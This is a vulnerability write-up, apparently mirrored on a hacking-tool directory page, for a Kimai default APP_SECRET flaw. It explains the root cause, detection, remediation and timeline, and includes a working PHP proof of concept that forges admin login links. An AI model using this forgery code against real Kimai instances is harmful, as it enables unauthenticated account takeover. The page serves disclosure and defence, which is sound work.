Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-52824 — Technical analysis and PoC of CVE-2026-52824: default APP_SECRET in the Kimai Docker image enabling unauthenticated login link forgery. Affects <= 2.57.0, fixed in 2.58.0. | Kitploit
Tools/GitHubGitHub/azureadtrent/cve-2026-52824
Vulnerability AnalysisExploitationWeb Application ExploitationCryptographyAuthenticationLearning & Education
GitHubazureadtrent/cve-2026-52824

CVE-2026-52824

Technical analysis and PoC of CVE-2026-52824: default APP_SECRET in the Kimai Docker image enabling unauthenticated login link forgery. Affects <= 2.57.0, fixed in 2.58.0.

View Repository
31 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-52824: Kimai Default APP_SECRET Login Link Forgery

FieldValue
CVECVE-2026-52824
AdvisoryGHSA-jr9p-4h4j-6c58
SeverityCritical
CWECWE-1188, Initialization of a Resource with an Insecure Default
Affectedkimai/kimai <= 2.57.0
Fixed2.58.0
Advisory published2026-06-11
Added to GitHub Advisory Database2026-07-14
ReporterAzureADTrent

Summary

The official Kimai Docker image shipped with a hardcoded APP_SECRET. That value becomes Symfony's kernel.secret, which signs login links, remember-me cookies, password reset URLs, and CSRF tokens. Because Kimai's login-link signature covered only the user's id, an unauthenticated attacker with the known secret could compute a valid login link offline and authenticate as any user.

Root cause

Dockerfile:263 set:

root@kitploit:~
ENV APP_SECRET=change_this_to_something_unique

config/packages/framework.yaml:7 consumes this as kernel.secret:

root@kitploit:~
    secret: '%env(APP_SECRET)%'

.docker/entrypoint.sh performed no check for the sentinel value, and .env.dist:38 shipped the same default for bare-metal installs. No startup guard refused to boot on the default.

Any Docker deployment that did not explicitly override APP_SECRET therefore ran with a publicly known signing key.

Proof of concept

Kimai consumes the login link at /en/auth/link/check with user, expires, and hash parameters. The hash is the 44-character HMAC concatenated directly with the 44-character fields hash, matching acceptSignatureHash(), which splits at offset 44.

root@kitploit:~
<?php
$secret   = 'change_this_to_something_unique';
$username = 'admin';
$userId   = 1;
$expires  = time() + 360;

// signature_properties: ['id']
// $userId is passed as an int, mirroring what PropertyAccessor hands to
// base64_encode() upstream. Under declare(strict_types=1) this needs an
// explicit (string) cast; the coercion is what the framework itself relies on.
$ctx = hash_init('sha256');
hash_update($ctx, ':' . base64_encode($userId));
$fieldsHash = strtr(base64_encode(hash_final($ctx, true)), '+/=', '-_~');

// generateHash(fieldsHash:expires:userIdentifier)
$input = $fieldsHash . ':' . $expires . ':' . $username;
$signatureHash = strtr(base64_encode(hash_hmac('sha256', $input, $secret, true)), '+/=', '-_~');

$hash = $signatureHash . $fieldsHash;

$url = "/en/auth/link/check?user=" . urlencode($username)
     . "&expires=" . $expires
     . "&hash=" . $hash;

echo "Forged login link:\n$url\n";

A successful request returns a 302 and sets a KIMAI_REMEMBER cookie for the target account.

Neither lifetime nor use count constrains the attack

expires is inside the HMAC and is attacker-controlled, and validation only rejects timestamps already in the past — verifySignatureHash() tests $expires < time() and nothing else. The configured lifetime: 900 governs link generation only and is never consulted during validation, so a forged link can carry an arbitrarily distant expiry.

max_uses: 3 is equally irrelevant. It limits reuse of a single issued link; an attacker mints a fresh one per attempt.

Preconditions and practical impact

The advisory lists three preconditions: the username is known, the correct account ID is guessed, and the account has no active 2FA.

In practice these are weak. User IDs are sequential from 1, the first super_admin is normally ID 1, and each attempt is a single unauthenticated GET. The username and ID space can be sprayed. Two-factor authentication is the only precondition that meaningfully blocks the attack.

Detection

Local checks:

root@kitploit:~
docker exec <container> printenv APP_SECRET
docker exec <container> cat /opt/kimai/.env.local
docker exec <container> ls -l /opt/kimai/var/data/.appsecret

A sentinel APP_SECRET with no .appsecret file present indicates a vulnerable deployment.

Remediation

Upgrade to 2.58.0 or later. The fix:

  • Removes the default APP_SECRET from the Dockerfile
  • Adds an entrypoint script that generates a secret via bin2hex(random_bytes(32)), stores it at /opt/kimai/var/data/.appsecret, and writes it to /opt/kimai/.env.local
  • Adds the password hash to login link signatures (GHSA-m492-gv72-xvxj), which closes the exploitation path even where a hardcoded secret remains in the environment

If you cannot upgrade immediately, set a unique high-entropy secret explicitly:

root@kitploit:~
docker run -e APP_SECRET=$(openssl rand -hex 32) ...

Rotating APP_SECRET invalidates existing remember-me cookies, pending password reset links, and in-flight CSRF tokens; users will need to log in again. Rotation and session invalidation are safe to perform regardless of whether exposure can be confirmed. Operators unable to determine their state should rotate rather than assume.

Timeline

  • 2026-06-11: GHSA-jr9p-4h4j-6c58 published, CVE-2026-52824 assigned, fix released in 2.58.0
  • 2026-07-14: CVE-2026-52824 added to the GitHub Advisory Database
  • 2026-08-03: Working exploit tooling published publicly in projectdiscovery/nuclei-templates
  • 2026-08-03: This technical write-up published

This writeup was held until the mechanism was independently public.

Download Tool